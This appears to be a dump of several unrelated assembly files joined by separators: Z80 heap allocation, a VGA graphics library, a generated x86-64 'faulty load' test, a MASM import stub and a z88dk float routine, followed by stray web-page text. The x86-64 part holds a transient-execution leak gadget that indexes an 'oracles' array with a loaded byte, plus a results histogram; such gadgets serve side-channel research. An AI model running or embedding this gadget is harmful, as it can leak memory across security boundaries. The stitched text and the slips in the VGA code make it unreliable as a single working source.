ld bc,6 ; sizeof(mutex)
add hl,bc ; hl = & first block in heap
; hl = & block
; de = gross request size
; stack = alignment - 1
ex de,hl
ex (sp),hl
push hl
ex de,hl
block_loop:
; hl = & block
; stack = gross request size, alignment - 1
ld e,l
ld d,h ; de = & block
; check if end of heap reached
ld a,(hl)
inc hl
or (hl)
jp z, error_enomem_zc - 2 ; if end of heap reached
inc hl ; hl = & block.committed
; compute first free aligned address in this block
ld c,(hl)
inc hl
ld b,(hl) ; bc = block->committed
ld a,b
or c
jr nz, committed_nonzero
; block->committed == 0
; this means the request can be overlayed on top
; of the header so must test for this case
; de = & block
; hl = & block.committed + 1b
; stack = gross request size, alignment - 1
inc hl
inc hl
inc hl ; hl = & block.mem[]
; check if memory address is aligned
pop bc ; bc = alignment - 1
push bc
ld a,l
and c
jr nz, overlay_unaligned
ld a,h
and b
jr nz, overlay_unaligned
; overlay aligns
; de = & block
; stack = gross request size, alignment - 1
ld l,e
ld h,d
pop af
pop bc
push bc
push af
jr test_fit
overlay_unaligned:
; de = & block
; stack = gross request size, alignment - 1
ld bc,6 ; step over the zero-committed header
committed_nonzero:
; de = & block
; bc = block->committed
; stack = gross request size, alignment - 1
ld hl,6 ; sizeof(heap header)
add hl,bc
add hl,de ; first free address after another header added
jp c, error_enomem_zc - 2
; compute next aligned address
pop bc ; bc = alignment - 1
add hl,bc
jp c, error_enomem_zc - 1
call l_andc_hl_bc ; hl = hl & ~bc
; de = & block
; hl = next aligned address
; bc = alignment - 1
; stack = gross request size
pop af
push af
push bc
push af
; stack = gross request size, alignment - 1, gross request size
ld bc,-6 ; sizeof(heap header)
add hl,bc
pop bc ; bc = gross request size
ex de,hl
test_fit:
; hl = & block
; de = & block_new = proposed aligned block location
; bc = gross request size
; stack = gross request size, alignment - 1
; see if proposed block fits
call __heap_place_block
jr nc, success ; if block fits
; try next block
; hl = & block
; stack = gross request size, alignment - 1
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
jr block_loop
success:
; hl = & block
; de = & block_new
; bc = gross request size
; stack = gross request size, alignment - 1
call __heap_allocate_block ; place the block
pop de
pop de ; junk two items on stack
ret
|
%ifndef vgalib_asm__
%define vgalib_asm__
%include 'vgaregs.asm'
%include 'lang.asm'
%include 'videolib_common.asm'
%define SCREEN_WIDTH 640
%define SCREEN_HEIGHT 480
%define SCREEN_WORDS ((SCREEN_WIDTH/16)*SCREEN_HEIGHT)
; Macro to include a resource file. Argument: Resource name. (unquoted)
;
; A label matching the resource name prefixed by res_ will be created.
; The resource will be included using incbin.
; The full filename will be res_tga/name.tga
;
; i.e:
; inc_resource droplet
; would include:
; res_vga16/droplet.tga
; and the label would be:
; res_droplet:
%macro inc_resource 1
res_%1:
%defstr namestr %1
%strcat base "res_vga16/" namestr ; Build left part of path
%strcat filename base ".vga16"
incbin filename
%endmacro
section .bss
image_width_bytes: resw 1
post_row_di_inc: resw 1
scr_backup_segment: resw 1
section .data
; Generate a lookup table to multiply by the screen pitch
vgarows:
%assign line 0
%rep 480
dw line*SCREEN_WIDTH/8
%assign line line+1
%endrep
font8x8: incbin "res_vga16/font.bin"
section .text
%macro setMapMask 1
mov dx, VGA_SQ_PORT
mov ax, (%1<<8 | VGA_SQ_MAP_MASK_IDX)
out dx, ax
%endmacro
; Like setMapMask, but DX must be set
; to VGA_SQ_PORT first. For slightly
; faster repeated calling.
%macro setMapMask_dxpreset 1
;mov dx, VGA_SQ_PORT
mov ax, (%1<<8 | VGA_SQ_MAP_MASK_IDX)
out dx, ax
%endmacro
%macro setFunction 1
mov dx, VGA_GC_PORT
mov ah, %1
mov al, VGA_GC_DATA_ROTATE_IDX
out dx, ax
%endmacro
;
;
%macro draw_color_to_vram 1 ; bit_mask
setMapMask 0xF; all planes
; write mode 2
mov dx, VGA_GC_PORT
mov al, VGA_GC_MODE_IDX
mov ah, 2
out dx, ax
; Set bit mask
;mov dx, VGA_GC_PORT
mov ah, %1
mov al, VGA_GC_BIT_MASK_IDX
out dx, ax
mov al, [draw_color] ; Load color argument in al
mov [es:di], al
; write mode
;mov dx, VGA_GC_PORT
mov al, VGA_GC_MODE_IDX
mov ah, 0
out dx, ax
;mov dx, VGA_GC_PORT
mov ah, 0xff
mov al, VGA_GC_BIT_MASK_IDX
out dx, ax
%endmacro
;;;; setvidemode
;
; Returns with CF set if it fails
;
setvidmode:
push ax
push bx
push dx
mov ah, 0fh ; Get Video State
int 10h
mov byte [old_mode], al
; set video mode
mov ah, 00h ; Set video mode
mov al, 12h ; VGA 640x480 16 colors
int 10h
mov ah, 0fh ; Get Video State
int 10h
; Check if it worked
cmp al, 12h ; VGA 640x480 16 colors
je _set_video_mode_ok
stc ; Indicate failure
jmp _set_video_mode_return
_set_video_mode_ok:
clc ; clear carry (success)
_set_video_mode_return:
pop dx
pop bx
pop ax
ret
restorevidmode:
push ax
mov ah, 00
mov al, [old_mode]
int 10h
pop ax
ret
;;;;;
; es:di : Video memory base
; ax: X
; bx: Y
; cx: Width
; dx: Height
; [draw_color] : Pixel color
;
; Note: Lazy coding, requires 8 pixel X alignment everywhere
;
fillRectEven:
push ax
push bx
push cx
push dx
push di
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
shift_div_8 ax
add di, ax
; Convert width to bytes
shift_div_8 cx
jz .done ; Less than 8 pixles draws nothing! (TODO)
mov bx, dx ; Move dx (height) to bx as dx is about to be used by macros with OUTs
; Take [draw_color] and send the 4 lower bits to the
; corresponding planes at address es:di
draw_color_to_vram 0xff
; Read back the address once to fill the latches
mov al, [es:di]
setMapMask 0xF; all planes
setFunction VGA_GC_ROTATE_AND ; AND logical function
mov al, 0xff
mov dx, cx ; Keep with in dx as cx will be modified by the loop
mov bp, SCREEN_WIDTH / 8 ; Screen pitch
sub bp, cx ; pointer increment to reposition on next row after drawing stride
.nextline:
; Repeat 8-pixel color stride over all bytes in this line
mov cx, dx
rep stosb ; TODO : stosw would be faster, but need to take care of alignment..
add di, bp ; Skip to starting point on next row
add di, SCREEN_WIDTH / 8 ; Skip to starting point on next row
dec bx ; repeat until height has been covered
jz .done
dec bx
jnz .nextline
.done:
setFunction VGA_GC_ROTATE_ASIS
pop di
pop dx
pop cx
pop bx
pop ax
ret
;;;;; Write black over a range of scanlines
;
; This exists since there is an optimisation opportunity
; for this case. But right now, it is just a bad wrapper around
; fillRect...
;
; es:di : Video memory base
; bx: First line
; cx: Number of lines
; al: Color (4-bit, right-aligned)
;
clearLinesRange:
push ax
push bx
push cx
push dx
; Save the draw_color variable
mov ah, [draw_color]
push ax
mov byte [draw_color], al
mov ax, 0 ; X start
; bx already equals Y
mov dx, cx ; Height in CX (number of lines)
mov cx, SCREEN_WIDTH
call fillRect
; Restore the draw_color variable
pop ax
mov [draw_color], ah
pop dx
pop cx
pop bx
pop ax
ret
;;;;;
; es:di : Video memory base
; ax: X
; bx: Y
; cx: Width
; dx: Height
; [draw_color] : Pixel color
;
; Note: Lazy coding, requires 8 pixel X alignment everywhere
;
fillRect:
push ax
push bx
push cx
push dx
push di
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
shift_div_8 ax
add di, ax
; Convert width to bytes
shift_div_8 cx
jz .done ; Less than 8 pixles draws nothing! (TODO)
mov bx, dx ; Move dx (height) to bx as dx is about to be used by macros with OUTs
; Take [draw_color] and send the 4 lower bits to the
; corresponding planes at address es:di
draw_color_to_vram 0xff
; Read back the address once to fill the latches
mov al, [es:di]
setMapMask 0xF; all planes
setFunction VGA_GC_ROTATE_AND ; AND logical function
mov al, 0xff
mov dx, cx ; Keep with in dx as cx will be modified by the loop
mov bp, SCREEN_WIDTH / 8 ; Screen pitch
sub bp, cx ; pointer increment to reposition on next row after drawing stride
.nextline:
; Repeat 8-pixel color stride over all bytes in this line
mov cx, dx
rep stosb ; TODO : stosw would be faster, but need to take care of alignment..
add di, bp ; Skip to starting point on next row
dec bx ; repeat until height has been covered
jnz .nextline
.done:
setFunction VGA_GC_ROTATE_ASIS
pop di
pop dx
pop cx
pop bx
pop ax
ret
;;;;;; Clear (fill with color 0) a 32x32 square
; AX : X
; BX : Y
; ES : Videomem base
;
;
; Note: Byte-aligned squares only
clr32x32:
push ax
push bx
push cx
push dx
push di
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
shift_div_8 ax
add di, ax
setMapMask 0xF; all planes
mov al, 0x00
mov ah, 4 ; Scanline (4 bytes / 32 bits)
mov bx, SCREEN_WIDTH / 8 - 4
%rep 32
mov cl, ah
rep stosb
add di, bx
%endrep
pop di
pop dx
pop cx
pop bx
pop ax
ret
; es:di : Video memory base (as set by setupVRAMpointer)
; al : Color
fillScreen:
push ax
push cx
push di
mov cl, al ; Save color
setMapMask 0x1 ; Blue
mov al, cl ; Load color argument in al
and al, 1 ; Mask blue
jz .a ; Zero? All bits are zero. AL is ready
mov al, 0xff ; All bits are one
.a:
mov [es:di], al
setMapMask 0x2 ; Green
mov al, cl ; Load color argument in al
and al, 2 ; Mask green
jz .b ; Zero? All bits are zero. AL is ready
mov al, 0xff ; All bits are one
.b:
mov [es:di], al
setMapMask 0x4 ; Red
mov al, cl ; Load color argument in al
and al, 4 ; Mask red
jz .c ; Zero? All bits are zero. AL is ready
mov al, 0xff ; All bits are one
.c:
mov [es:di], al
setMapMask 0x8 ; Intensity
mov al, cl ; Load color argument in al
and al, 8 ; Mask intensity
jz .d ; Zero? All bits are zero. AL is ready
mov al, 0xff ; All bits are one
.d:
mov [es:di], al
; Read back the address once to fill the latches
mov al, [es:di]
setMapMask 0xF; all planes
setFunction 8 ; AND logical function
mov ax, 0xFFFF
mov cx, SCREEN_WORDS
rep stosw
setFunction 0 ; AND logical function
pop di
pop cx
pop ax
ret
;;;; blit_imageXY : Blit an arbitrary size image at coordinate
;
; ds:si : Pointer to tile data
; es:di : Video memory base
; ax: X coordinate
; bx: Y coordinate
; cx: Image width (must be multiple of 8)
; dx: Image height
;
blit_imageXY:
push ax
push bx
push cx
push dx
push si
push di
push bp
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
shift_div_8 ax
add di, ax
; Convert width to bytes (8 pixels per byte)
shift_div_8 cx
; Compute the increment to point DI to the next row after a stride
mov bx, SCREEN_WIDTH / 8
sub bx, cx
; DS:SI received in argument points to the image data
mov bp, dx ; Keep image height in BP for loop
mov dx, VGA_SQ_PORT ; Prepare DX for use by setMapMask_dxpreset
mov al, VGA_SQ_MAP_MASK_IDX
out dx, al
inc dx ; point to register
; Save row width in AH for repeated use below
mov ah, cl
; xor ch, ch ; No need, CX is < 80
%macro BLT_PLANE 1 ; plane mask
; Set map mask
mov al, %1
out dx, al
push di ; Save origin
push bp
%%next_row:
mov cl, ah
rep movsb ; Copy DS:SI to ES:DI
; Jump to next row
add di, bx
dec bp
jnz %%next_row
pop bp ; Restore image height for next plane
pop di ; Restore DI to origin
%endmacro
BLT_PLANE 0x01
BLT_PLANE 0x02
BLT_PLANE 0x04
BLT_PLANE 0x08
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;;;; blit_tile8XY : Blit a 8x8 tile to a destination coordinate
;
; Exists since there is an optimisation opportunity, but right now
; it only calls blit_imageXY
;
; ds:si : Pointer to tile data
; es:di : Video memory base
; ax: X coordinate (in pixels) (ANDed with 0xfffc)
; bx: Y coordinate (in pixels) (ANDed with 0xfffe)
blit_tile8XY:
push cx
push dx
mov cx, 8
mov dx, cx
call blit_imageXY
pop dx
pop cx
ret
;;;; blit_tile8XY : Blit a 8x8 tile to a destination coordinate
;
; Exists since there is an optimisation opportunity, but right now
; it only calls blit_imageXY
;
; ds:si : Pointer to tile data
; es:di : Video memory base
; ax: X coordinate (in pixels) (ANDed with 0xfffc)
; bx: Y coordinate (in pixels) (ANDed with 0xfffe)
;
blit_tile16XY:
push cx
push dx
mov cx, 16
mov dx, cx
call blit_imageXY
pop dx
pop cx
ret
;;;; blit_tile32XY : Blit a 32x32 tile to a destination coordinate
;
; ds:si : Pointer to tile data
; es:di : Video memory base
; ax: X coordinate (in pixels) (byte-aligned)
; bx: Y coordinate (in pixels)
;
blit_tile32XY:
push ax
push bx
push cx
push dx
push si
push di
push bp
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
shift_div_8 ax
add di, ax
; Prepare the increment to point DI to the next row after a stride
mov bx, SCREEN_WIDTH / 8 - 4
mov bp, di ; Save the origin
; DS:SI received in argument points to the image data
mov dx, VGA_SQ_PORT ; Prepare DX for use by setMapMask_dxpreset
mov al, VGA_SQ_MAP_MASK_IDX
out dx, al
inc dx ; point to register
%macro BLT_PLANE_4BYTES 1 ; plane mask
; Set map mask
mov al, %1
out dx, al
%rep 32
mov cl, 4
rep movsb ; Copy DS:SI to ES:DI
; Jump to next row
add di, bx
%endrep
mov di, bp
%endmacro
BLT_PLANE_4BYTES 0x01
BLT_PLANE_4BYTES 0x02
BLT_PLANE_4BYTES 0x04
BLT_PLANE_4BYTES 0x08
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;;;;;; Get the color of a single pixel
;
; Args:
; es:di : Video memory base
; AX : X coordinate
; BX : Y coordinate
;
; Return:
; DX : Color
; Incidently, the zero flag is set if pixel is zero.
getPixel:
push ax
push bx
push cx
push di
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
mov cx, ax ; save original X first
shift_div_8 ax
add di, ax
and cl, 0x7
mov bl, 0x80
shr bl, cl ; BL will be used to mask the pixel
xor bh, bh ; Color will be built in BH
; Note: Read mode 0 assumed
mov dx, VGA_GC_PORT
mov al, VGA_GC_READ_MAP_SEL_IDX
mov ah, 0 ; plane number (blue)
out dx, ax
mov cl, [es:di] ; Read 8 pixels
and cl, bl ; Mask ours
jz .a
or bh, 0x01
.a:
mov ah, 1 ; plane number (green)
out dx, ax
mov cl, [es:di] ; Read 8 pixels
and cl, bl ; Mask ours
jz .b
or bh, 0x02
.b:
mov ah, 2 ; plane number (red)
out dx, ax
mov cl, [es:di] ; Read 8 pixels
and cl, bl ; Mask ours
jz .c
or bh, 0x04
.c:
mov ah, 3 ; plane number (intensity)
out dx, ax
mov cl, [es:di] ; Read 8 pixels
and cl, bl ; Mask ours
jz .d
or bh, 0x08
.d:
mov dl, bh
and dl, dl ; return with ZF set if black
pop di
pop cx
pop bx
pop ax
ret
;;;;;; Set the color of a single pixel
;
; es:di : Video memory base
; AX : X coordinate
; BX : Y coordinate
; DL : Color
putPixel:
push ax
push bx
push cx
push dx
push di
; Skip to Y row
shl bx, 1
add di, [vgarows+bx]
; Skip to X position in row : di += ax / 8
mov cx, ax ; save original X first
shift_div_8 ax
add di, ax
and cl, 0x7
mov bl, 0x80
shr bl, cl
mov [draw_color], dl
mov al, [es:di] ; dummy ready
draw_color_to_vram bl
pop di
pop dx
pop cx
pop bx
pop ax
ret
;;;; getFontTile : Point DS:SI to a given tile ID
; Ascii in AL (range 32 - 255)
getFontTile:
mov si, ax
and si, 0xff
shift_mul_32 si
add si, font8x8 - (8*8/2)*32
ret
;;;;;;;;;;;;;;
; getTile64 : Points SI to a given tile ID
; Tile ID in AX
getTile64:
push ax
push cx
mov cl, 11 ; Multiply by 2048
shl ax, cl
add ax, first32x32_tile
mov si, ax
pop cx
pop ax
ret
;;;;;;;;;;;;;;
; getTile32 : Points DS:SI to a given tile ID
; Tile ID in AX
getTile32:
push ax
push cx
mov cl, 9 ; Multiply by 512
shl ax, cl
add ax, first32x32_tile
mov si, ax
pop cx
pop ax
ret
;;;;;;;; Copy the screen content to a memory buffer
;
; args:
; ES : Base of video memory
;
savescreen:
push ax
push bx
push cx
push dx
push es
push di
push ds
push si
mov bx, [scr_backup_segment]
mov ax, es
; Source for string copy
mov ds, ax
; Destination for string copy
mov es, bx
xor di, di
; Prepare values for OUT instrutions to video adapter
mov dx, VGA_GC_PORT
mov al, VGA_GC_READ_MAP_SEL_IDX
%macro advES 0
; Segment increment after each plane
mov bx, es
add bx, (SCREEN_WIDTH*SCREEN_HEIGHT)/8/16
mov es, bx
xor di,di
%endmacro
%macro cpyPlane 1
mov ah, %1 ; plane
out dx, ax
mov cx, SCREEN_WIDTH*SCREEN_HEIGHT/16
xor si, si ; Start from segment:0000
rep movsw ; ES:DI <- DS:SI
%endmacro
;; Copy each plane
cpyPlane 0
advES
cpyPlane 1
advES
cpyPlane 2
advES
cpyPlane 3
pop si
pop ds
pop di
pop es
pop dx
pop cx
pop bx
pop ax
ret
;;;;;;;; Copy the screen content to a memory buffer
;
; args:
; ES : Base of video memory
;
restorescreen:
push ax
push bx
push cx
push dx
push es
push di
push ds
push si
; The source for copy
mov bx, [scr_backup_segment]
mov ds, bx
xor si:si
; Prepare VGA writes
mov dx, VGA_SQ_PORT
%macro restorePlane 1
setMapMask_dxpreset %1
mov cx, SCREEN_WIDTH*SCREEN_HEIGHT/16
xor si, si
xor di, di
rep movsw ; ES:DI <- DS:SI
%endmacro
%macro advDS 0
mov bx, ds
add bx, (SCREEN_WIDTH*SCREEN_HEIGHT)/8/16
mov ds, bx
%endmacro
restorePlane 0x01
advDS
restorePlane 0x02
advDS
restorePlane 0x04
advDS
restorePlane 0x08
pop si
pop ds
pop di
pop es
pop dx
pop cx
pop bx
pop ax
ret
;;;;;;
;
; Load and display screen compressed with LZ4
;
; SI : Source compressed data
;
%macro loadScreen 1
push ax
push bx
push dx
push si
push di
; DS:SI : Source compressed data
mov si, %1
; ES:DI : Destination (screen backup)
;
; Note: LZ4 also reads/copy decompressed data, so I
; think decompressing in system memory first, then
; copying to VRAM is faster.
;
push es
mov bx, [scr_backup_segment]
mov es, bx
xor di, di
; Prepare VAG port writes
mov dx, VGA_SQ_PORT
call lz4_decompress
advES
call lz4_decompress
advES
call lz4_decompress
advES
call lz4_decompress
pop es
call restorescreen
pop di
pop si
pop dx
pop bx
pop ax
%endmacro
; Points ES:DI to the base of video memory.
; Must be called before using most of the functions in this library.
; Can be called only once if ES:DI is never used (or preserved when modified)
setupVRAMpointer:
push ax
mov ax,0a000h
mov es,ax
xor di,di
pop ax
ret
;;;; Initialize video library.
;
; Return with carry set on error
initvlib:
push ax
; This is a .COM executable, it should have been allocated the
; biggest possible chunk of memory available.
;
; TODO : Check the PSP to see if we have enough
;
mov ax, ds
add ax, 0x1000
mov [scr_backup_segment], ax
call initvlib_common
pop ax
ret
%include 'vgalib_effects.asm'
%endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1e1e3, %r11
nop
nop
nop
nop
nop
sub %r8, %r8
movb (%r11), %r12b
nop
add %rdx, %rdx
lea addresses_WC_ht+0x1a378, %rsi
lea addresses_WC_ht+0x12bb8, %rdi
nop
nop
nop
cmp %r8, %r8
mov $48, %rcx
rep movsw
nop
nop
inc %rsi
lea addresses_A_ht+0x5658, %rsi
cmp %r12, %r12
movw $0x6162, (%rsi)
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0x14778, %rsi
lea addresses_UC_ht+0x1e48c, %rdi
nop
nop
nop
nop
xor %r12, %r12
mov $29, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x153cc, %rcx
nop
nop
sub %r8, %r8
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x10b78, %rsi
lea addresses_D_ht+0xe7b2, %rdi
nop
nop
sub %r9, %r9
mov $100, %rcx
rep movsw
nop
nop
add %r12, %r12
lea addresses_normal_ht+0x8044, %rdi
nop
nop
nop
nop
sub $54419, %rsi
mov (%rdi), %dx
nop
nop
sub $7590, %r8
lea addresses_normal_ht+0xe778, %r12
nop
cmp %rsi, %rsi
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_WT_ht+0x18cac, %rsi
lea addresses_D_ht+0x6e2c, %rdi
nop
nop
nop
nop
nop
xor %r8, %r8
mov $109, %rcx
rep movsw
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x18220, %rsi
lea addresses_UC_ht+0x66f8, %rdi
clflush (%rsi)
nop
nop
nop
sub %r8, %r8
mov $51, %rcx
rep movsq
nop
nop
nop
nop
xor $18635, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rsi
// Store
lea addresses_WT+0x12948, %rsi
clflush (%rsi)
nop
nop
inc %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm1
movups %xmm1, (%rsi)
sub %r13, %r13
// Store
lea addresses_WC+0x1dce2, %r14
nop
nop
inc %r8
movl $0x51525354, (%r14)
nop
nop
nop
add $27817, %r13
// Store
lea addresses_PSE+0x6978, %r14
nop
nop
nop
nop
and $55595, %rsi
movl $0x51525354, (%r14)
nop
nop
nop
nop
nop
inc %r8
// Store
mov $0x68b8090000000378, %rsi
nop
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r9
movq %r9, %xmm5
movups %xmm5, (%rsi)
nop
nop
nop
nop
nop
sub %r9, %r9
// Faulty Load
lea addresses_D+0x14778, %rsi
nop
add %r13, %r13
vmovaps (%rsi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rbp
lea oracles, %r9
and $0xff, %rbp
shlq $12, %rbp
mov (%r9,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'00': 2318, '49': 5448, '48': 1003}
00 49 00 49 00 49 49 49 49 49 00 49 49 00 49 49 48 49 49 49 49 49 49 49 00 00 00 49 00 49 49 00 49 49 49 49 49 00 49 00 49 00 00 00 49 49 49 48 49 49 49 49 00 49 49 00 49 49 49 49 00 49 49 49 00 49 49 49 00 49 00 49 49 49 49 49 49 00 48 49 49 48 49 49 00 49 00 49 00 00 49 49 49 00 49 49 49 49 00 00 49 49 49 49 00 49 48 49 49 00 00 00 49 00 49 00 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 00 00 49 00 48 49 49 49 00 49 49 48 49 49 49 00 49 49 49 49 49 49 49 49 00 49 49 00 49 49 00 00 49 49 48 00 49 49 00 49 49 49 49 49 49 00 49 49 49 49 48 49 49 49 49 49 49 49 49 00 00 48 49 00 49 00 00 49 49 48 49 00 49 00 49 49 49 49 00 49 00 49 00 48 49 48 49 00 00 49 48 49 49 48 49 49 48 49 49 49 48 49 49 49 48 00 49 49 49 49 49 49 49 00 49 49 48 00 49 49 48 00 48 49 00 49 49 00 48 49 00 49 49 48 00 49 00 48 49 00 48 49 49 00 49 48 00 49 48 49 49 49 00 49 00 00 49 00 49 49 00 49 48 49 00 49 49 49 49 49 49 49 00 48 49 00 48 49 00 48 49 00 49 49 49 00 48 48 49 49 00 49 49 00 00 00 00 49 49 49 00 49 49 49 48 49 00 49 00 49 49 49 00 49 48 49 00 49 49 49 00 49 49 49 00 49 00 49 48 49 49 00 49 49 49 49 49 49 49 49 48 49 48 49 49 00 49 49 00 49 49 49 49 49 49 00 49 49 00 49 49 49 00 00 48 49 00 49 49 00 49 49 49 00 49 00 00 00 00 49 49 49 00 49 49 00 49 49 49 49 49 49 49 00 49 49 00 48 49 49 49 00 49 49 00 49 49 00 00 48 49 49 49 00 49 49 00 49 00 00 00 49 49 49 49 49 00 49 49 49 49 00 48 00 48 49 49 48 49 49 49 00 49 49 00 49 49 49 49 49 00 49 49 49 49 49 00 49 00 48 49 00 49 48 00 00 48 49 48 49 49 49 49 49 49 00 49 49 48 49 00 00 49 49 00 49 49 00 00 00 49 48 48 49 49 00 48 49 00 49 00 49 49 00 49 00 48 49 49 49 49 49 49 49 48 00 49 00 49 49 49 49 49 49 00 49 49 49 49 00 00 00 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 00 48 49 00 49 00 49 00 00 49 00 49 49 49 00 49 48 49 49 49 49 00 00 49 49 00 00 49 49 49 49 48 00 49 00 49 49 49 49 49 49 00 49 49 00 00 49 49 00 00 49 49 49 00 49 49 00 00 49 00 00 00 49 00 00 49 00 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 00 49 49 49 49 00 00 49 00 49 49 00 48 49 49 49 49 49 00 49 00 00 00 49 49 49 48 48 49 49 49 00 49 00 00 49 49 49 49 49 49 00 48 49 49 49 00 49 00 49 48 49 49 00 49 49 00 00 48 49 00 00 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 00 00 48 49 00 49 49 49 49 49 00 00 49 49 49 49 49 49 00 49 49 49 49 00 49 49 49 49 49 48 00 49 49 49 00 00 00 49 00 00 49 49 49 00 49 49 48 49 00 49 48 49 49 49 49 00 49 00 00 49 48 49 49 49 49 00 49 00 49 49 49 49 49 49 00 49 49 00 00 48 49 49 49 49 49 00 00 49 00 49 49 48 49 49 49 48 00 49 49 00 49 49 49 49 00 49 49 48 49 49 00 48 00 49 00 49 49 49 49 00 49 49 00 49 00 48 49 49 49 49 49 00 49 49 00 49 00 49 49 49 49 49 49 48 49 49 00 00 49 49 49 49 48 48 49 49 49 00 49 49 49 49 49 00 48 00 00 49 49 49 49 00 49 49 49 48 00 49 49 49 49 49 00 49 48 49 00 49 49 49 00 49 00 00 48 49 49 49 49 49 49 49 48 48 00 49 49 49 49 00 49 00 48 49 49 49 00 49 49 00 48 00 49 49 00 49 00 49 49 49 49 49 00 49 48 00 49 49 49 49 49 49 49 49 49 49 00 48 49 49 00 49 49 49 49 48 49 49
*/
|
;
; This is in assembly because assembly lets you generate arbitrarily named symbols.
;
.386p
.model flat
extern _ExitProcess@4:near
public __imp__ExitProcess@4
CONST segment
__imp__ExitProcess@4 dd _ExitProcess@4
CONST ends
end
|
SECTION code_clib
SECTION code_fp_math32
PUBLIC asm_dmulpow10
EXTERN m32_float8, m32_fsmul_callee
EXTERN _m32_exp10f
; multiply DEHL' by a power of ten
; DEHL' *= 10^(A)
;
; enter : DEHL'= float x
; A = signed char
;
; exit : success
;
; DEHL'= x * 10^(A)
; carry reset
;
; fail if overflow
;
; DEHL'= +-inf
; carry set, errno set
;
; note : current implementation may limit power of ten
; to max one-sided range (eg +-38)
;
; uses : af, bc, de, hl, af', bc', de', hl'
.asm_dmulpow10
ld l,a
call m32_float8 ; convert l to float in dehl
exx
push de ; preserve x, and put it on stack for fsmul
push hl
exx
call _m32_exp10f ; make 10^A
call m32_fsmul_callee ; DEHL = x * 10^(A)
exx
ret
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.